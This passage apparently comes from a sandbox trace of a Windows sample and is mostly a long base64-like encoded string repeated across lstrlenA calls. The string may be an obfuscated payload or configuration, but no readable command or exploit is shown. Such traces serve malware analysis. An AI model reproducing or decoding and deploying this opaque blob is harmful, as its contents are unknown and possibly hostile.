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") returned 5820
	[0084.630] lstrlenA (lpString="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") returned 5820
	[0084.630] lstrlenA (lpString="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